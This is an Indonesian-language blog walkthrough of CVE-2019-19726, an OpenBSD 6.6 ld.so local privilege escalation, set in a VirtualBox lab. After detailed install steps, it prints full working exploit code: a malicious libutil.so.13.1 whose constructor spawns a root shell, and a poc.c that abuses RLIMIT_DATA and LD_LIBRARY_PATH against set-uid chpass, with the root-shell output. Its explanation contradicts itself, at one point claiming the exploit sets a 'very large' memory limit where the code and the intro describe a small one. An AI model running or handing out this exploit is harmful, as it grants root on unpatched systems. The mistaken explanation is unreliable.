Sitemap

CVE 2019–19726: OpenBSD Local Privilege Escalation via RLIMIT_DATA Memory Limit Attack

8 min readNov 1, 2025

--

Press enter or click to view image in full size
Press enter or click to view image in full size

Local Privilege Escalation (LPE) pada dynamic loader OpenBSD (ld.so) CVE-2019-19726 yang memungkinkan pengguna lokal tanpa hak istimewa menjadi root pada instalasi default melalui program set-uid seperti chpass atau passwd. Intinya: kondisi memori rendah + variabel lingkungan LD_LIBRARY_PATH yang tidak dibersihkan membuat loader memuat pustaka penyerang dan menjalankan kode dengan hak root. Penemuan ini sudah didokumentasikan dan dipatch oleh tim OpenBSD.

Sederhana nya bayangkan program penting (mis. chpass) dijalankan dengan hak istimewa root. Untuk keamanan, dynamic loader mencoba menghapus variabel lingkungan berbahaya seperti LD_LIBRARY_PATH sebelum memuat pustaka sistem supaya tidak ada pustaka asing yang disisipkan ke proses set-uid.

Namun, jika sebelum menjalankan program kita sengaja membuat kondisi memori (area data) sangat kecil, fungsi loader yang mem-parsing LD_LIBRARY_PATH bisa gagal mengalokasi memori. Saat itu terjadi, kode loader membuat keadaan di mana variabel LD_LIBRARY_PATH tetap ada di lingkungan proses—walau seharusnya dihapus—dan kemudian, pada eksekusi proses anak yang tidak set-uid, loader memperbolehkan penggunaan LD_LIBRARY_PATH lagi dan memuat pustaka dari direktori kontrol penyerang (mis. .). Akibatnya, pustaka berisi constructor/initializer dapat menjalankan kode sebagai root.\

Intinya:

  • Proteksi untuk membuang LD_LIBRARY_PATH gagal ketika alokasi memori di loader gagal.
  • Setelah beberapa panggilan internal (setuid → reset limit → execv ke proses lain), kondisi berubah sehingga pustaka penyerang akhirnya dimuat sebagai root.
Press enter or click to view image in full size

Saya membuat lab lokal dengan mendownload OpenBsd 6.6 untuk mempraktekkan CVE-2019–19726

Berikut step-by-step lengkap dari download sampai installasi selesai:

1. Download File OpenBSD 6.6

Di host system (Linux/Windows/Mac):

# Buat folder untuk OpenBSD
mkdir openbsd-install
cd openbsd-install
# Download ISO installer
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso
# Download file verifikasi
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/SHA256
wget https://ftp.eu.openbsd.org/pub/OpenBSD/6.6/amd64/SHA256.sig

Verifikasi file (opsional):

# Cek checksum
sha256sum -c SHA256 2>/dev/null | grep install66.iso
# Output: install66.iso: OK

2. Setup VirtualBox Machine

Buka VirtualBox dan buat VM baru:

  1. Klik “New”
  2. Basic Tab:
  • Name: OpenBSD-6.6
  • Type: BSD
  • Version: OpenBSD (64-bit)
  • Next
  1. Memory Size:
  • 2048 MB (recommended)
  • Next
  1. Hard Disk:
  • ✅ “Create a virtual hard disk now”
  • Create
  1. Hard Disk File Type:
  • ✅ VDI (VirtualBox Disk Image)
  • Next
  1. Storage on Physical Hard Disk:
  • ✅ Dynamically allocated
  • Next
  1. File Location and Size:
  • Size: 16.00 GB
  • Create

3. Konfigurasi VirtualBox Settings

Buka Settings VM yang baru dibuat:

  1. System → Motherboard:
  • ✅ Enable I/O APIC
  • Boot Order: Hard Disk → Optical
  1. System → Processor:
  • Processors: 2 CPU
  • ✅ Enable PAE/NX
  1. Display → Screen:
  • Video Memory: 64 MB
  • Graphics Controller: VBoxVGA
  1. Storage → Controller: IDE:
  • Klik Empty
  • Klik CD icon di sebelah kanan
  • Pilih Choose a disk file
  • Pilih file install66.iso yang sudah didownload
  1. Network → Adapter 1:
  • Attached to: Bridged Adapter
  • Name: Pilih interface host (wlan0/eth0/Ethernet)
  1. Klik OK untuk save settings

4. Start Virtual Machine

  1. Pilih VM OpenBSD-6.6
  2. Klik “Start”

5. Proses Installasi OpenBSD (Langkah Demi Langkah)

Boot Menu:

>> OpenBSD/amd64 BOOT 3.36
boot>

Tekan Enter

Menu Utama:

Welcome to the OpenBSD/amd64 6.6 installation program.
(I)nstall, (U)pgrade, (A)utoinstall or (S)hell?

Ketik: I → Enter

Keyboard Layout:

Keyboard layout? [default]

Tekan Enter

Hostname:

System hostname? (short form, e.g. 'foo')

Contoh Ketik: openbsd66 → Enter

Network Configuration:

Available network interfaces are: em0 vlan0.
Which network interface do you wish to configure? (or 'done') [em0]

Tekan Enter

IPv4 address for em0? (or 'dhcp' or 'none') [dhcp]

Tekan Enter (gunakan DHCP)

IPv6 address for em0? (or 'autoconf' or 'none') [autoconf]

Tekan Enter

Do you want to do any additional network configuration? [no]

Tekan Enter

Root Password:

Password for root account?

Masukkan password kuat → Enter

Password for root account? (again)

Masukkan password lagi → Enter

SSH Configuration:

Start sshd(8) by default? [yes]

Tekan Enter

User Account Setup:

Do you want to setup a user account? [yes]

Tekan Enter

Username:

Ketik: user (atau username pilihan) → Enter

Full name:

Ketik: OpenBSD User → Enter

Password:

Masukkan password user → Enter

Password again:

Konfirmasi password → Enter

Login group is user. Invite user into other groups: []

Ketik: wheel → Enter

Timezone:

What timezone are you in? ('?' for list) [UTC]

Ketik: Asia/Jakarta (sesuaikan dengan lokasi) → Enter

Disk Setup:

Available disks are: sd0.
Which disk is the root disk? [sd0]

Tekan Enter

Use (W)hole disk or (E)dit the MBR? [whole]

Tekan Enter

Use (A)uto layout, (E)dit auto layout, or create (C)ustom layout? [auto]

Tekan Enter

Konfirmasi Partisi:

Anda akan melihat summary:

sd0a (    ) 512.0M
sd0b ( swap) 1.0G
sd0d ( ) 14.5G
Let's install the sets!
Location of sets? [cd0]

Tekan Enter

Set name(s)? (or 'abort' or 'all') [all]

Tekan Enter

6. Proses Installasi Sets

Sistem akan mulai menginstall:

Installing base66.tgz...
Installing comp66.tgz...
Installing man66.tgz...
Installing game66.tgz...
Installing xbase66.tgz...
Installing xshare66.tgz...
Installing xfont66.tgz...
Installing xserv66.tgz...

Tunggu hingga semua sets terinstall (5–10 menit)

7. Konfigurasi Tambahan

X Window System:

Do you expect to run the X Window System? [yes]

Tekan Enter

Screen Resolution:

Do you want to change the default console resolution? [no]

Tekan Enter

8. Installasi Selesai

CONGRATULATIONS! Your OpenBSD install has been successfully completed!
To boot the new system, enter 'reboot' at the command prompt.
When you reboot, be sure to remove the install/restore media.

9. Reboot dan Setup Final

Di VM, ketik:

reboot

Setelah VM shutdown:

  1. VirtualBox → Devices → Optical Drives
  2. Remove disk from virtual drive
  3. Start VM kembali

10. Login dan Testing

Login pertama:

OpenBSD/amd64 (openbsd66) (ttyC0)
login: root
Password: [masukkan password root]

Test system:

# Cek network
ping -c 3 8.8.8.8
# Cek disk
df -h
# Cek memory
vmstat
# Cek IP address
ifconfig em0

Login dengan user biasa:

# Logout root
exit
# Login dengan user
login: user
Password: [masukkan password user]

11. Post-Installation Setup (Opsional)

Sebagai root:

su -
# Update package database
pkg_add -u
# Install useful tools
pkg_add vim curl wget git
# Check for updates
syspatch

Troubleshooting Tips:

  • Jika boot gagal: Pastikan ISO sudah di-eject
  • Network tidak bekerja: Cek bridge adapter setting
  • Display issue: Ubah graphics controller ke VMSVGA
  • Performance: Tambahkan lebih banyak RAM/CPU jika needed

Alur Serangan: Eksploitasi RLIMITDATA dan LDLIBRARY_PATH pada chpass di OpenBSD

Konsep Inti: Memanfaatkan bug dalam loader OpenBSD untuk mempertahankan variabel lingkungan LD_LIBRARY_PATH yang berbahaya, yang seharusnya diabaikan oleh program Set-UID, dengan cara membuatnya gagal mengalokasikan memori.

Get Dhimas Lanang Nugroho’s stories in your inbox

Join Medium for free to get updates from this writer.

Tujuan: membuka file yang dimiliki oleh root akses

Skenario

  • Penyerang: Pengguna sysadmin-intern (UID 1000).
  • Target: File goldenticket.txt yang hanya bisa dibaca oleh root.
  • Vulnerability: Kerentanan spesifik dalam chpass dan loader OpenBSD versi 6.6.
  • Teknik: Eksploitasi RLIMIT_DATA dan LD_LIBRARY_PATH.

Alur Serangan Langkah demi Langkah

Tahap 1: Pengintaian dan Persiapan

Press enter or click to view image in full size
  1. Pengintaian: Penyerang (sysadmin-intern) melihat bahwa file goldenticket.txt dimiliki oleh root dan tidak dapat dibaca.
foxzie-imphnen$ cat goldenticket.txt
cat: goldenticket.txt: Permission denied
foxzie-imphnen$ ls -la
-rw------- 1 root wheel 9 Nov 1 23:01 goldenticket.txt
  1. Menyiapkan Lingkungan: Penyerang pindah ke direktori /tmp yang dapat ditulisi untuk mengkompilasi kode eksploitasi.
foxzie-imphnen$ cd /tmp

2. Memastikan Kompiler: Penyerang memastikan kompiler C tersedia (cc, gcc, clang).

Tahap 2: Membuat Senjata (Malicious Library)

  1. Membuat Kode Library Palsu: Penyerang membuat file lib.c yang berisi library jahat. Library ini akan membuat shell dengan hak root saat dimuat.
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
  • __attribute__ ((constructor)): Memastikan fungsi _init dieksekusi segera setelah library dimuat.
  • setuid(0) & setgid(0): Mengubah UID dan GID proses menjadi 0 (root).
  • execve(_PATH_KSHELL, ...): Menjalankan shell Korn (/bin/ksh).

2. Mengidentifikasi Target Library: Penyerang mencari library mana dari program Set-UID yang akan diganti. Dia memilih /usr/sbin/pwd_mkdb (yang dipanggil oleh chpass di belakang layar) dan menemukan ia bergantung pada libutil.so.13.1.

foxzie-imphnen$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]

3. Mengkompilasi Library Palsu: Penyerang mengkompilasi lib.c dan memberi nama file hasil kompilasi persis seperti library asli yang menjadi target (libutil.so.13.1). bash foxzie-imphnen$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c

foxzie-imphnen$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c

Tahap 3: Membuat Program Eksploitasi (PoC)

Press enter or click to view image in full size
  1. Membuat Kode Eksploitasi: Penyerang membuat file poc.c yang bertugas untuk memicu bug.
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int main(int argc, char * const * argv) {
#define LLP "LD_LIBRARY_PATH=." // Arahkan ke direktori saat ini (/tmp)
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1); // Isi variabel lingkungan dengan data sampah
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; // Set lingkungan

#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); // SET BATAS MEMORI SANGAT BESAR!

if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp); // Jalankan chpass dengan lingkungan yang sudah disetel
_exit(__LINE__);
}
  • LD_LIBRARY_PATH=.: Memberi tahu loader untuk mencari library di direktori saat ini (.).
  • setrlimit(RLIMIT_DATA, &data): Kunci eksploitasi! Ini menetapkan batas memori (RLIMIT_DATA) menjadi nilai yang sangat besar, bukan kecil. Pada OpenBSD versi ini, tindakan ini justru memicu kondisi dimana LD_LIBRARY_PATH tidak dibersihkan dengan benar untuk proses child.

2. Mengkompilasi Eksploit:

foxzie-imphnen$ gcc -s -o poc poc.c

Tahap 4: Meluncurkan Serangan

  1. Menjalankan Eksploitasi: Penyerang menjalankan program poc dan memberikan /usr/bin/chpass sebagai argumen.
foxzie-imphnen$ ./poc /usr/bin/chpass

2. Apa yang Terjadi di Balik Layar:

  • poc menetapkan RLIMIT_DATA yang besar dan variabel lingkungan LD_LIBRARY_PATH yang menunjuk ke /tmp.
  • poc kemudian menjalankan /usr/bin/chpass (program Set-UID) dengan lingkungan yang sudah "terkontaminasi".
  • Bug di loader menyebabkan LD_LIBRARY_PATH tidak dihapus dengan benar.
  • Program chpass berjalan dan pada titik tertentu memanggil pwd_mkdb.
  • Saat pwd_mkdb di-execve, loader yang baru berjalan dan membaca LD_LIBRARY_PATH yang masih ada.
  • Loader mencari libutil.so.13.1 dan menemukan versi palsu penyerang di /tmp.
  • Library palsu dimuat, dan fungsi constructor-nya dieksekusi, memberikan shell root.

Tahap 5: Summon Root

Press enter or click to view image in full size
  1. Mendapatkan Akses Root: Prompt berubah dari $ menjadi #, menandakan shell sekarang berjalan sebagai root.
foxzie-imphnen# id uid=0(root) gid=0(wheel) groups=1000(sysadmin-intern), 20(staff)
  1. Mengakses File Target: Penyerang sekarang dapat membaca file goldenticket.txt. bash foxzie-imphnen# cat /home/sysadmin-intern/goldenticket.txt hi Root!

Kesimpulan

Alur ini menggambarkan bagaimana sebuah kerentanan yang sangat spesifik dalam sistem (pada kasus ini, OpenBSD 6.6) dapat dieksploitasi untuk melakukan eskalasi hakillegge dari pengguna biasa ke root. Kunci utamanya adalah memanipulasi lingkungan eksekusi proses (LD_LIBRARY_PATH) dan batas sumber daya (RLIMIT_DATA) untuk menipu loader agar memuat kode berbahaya. Kerentanan seperti ini biasanya diperbaiki dengan cepat oleh pengembang setelah ditemukan.

--

--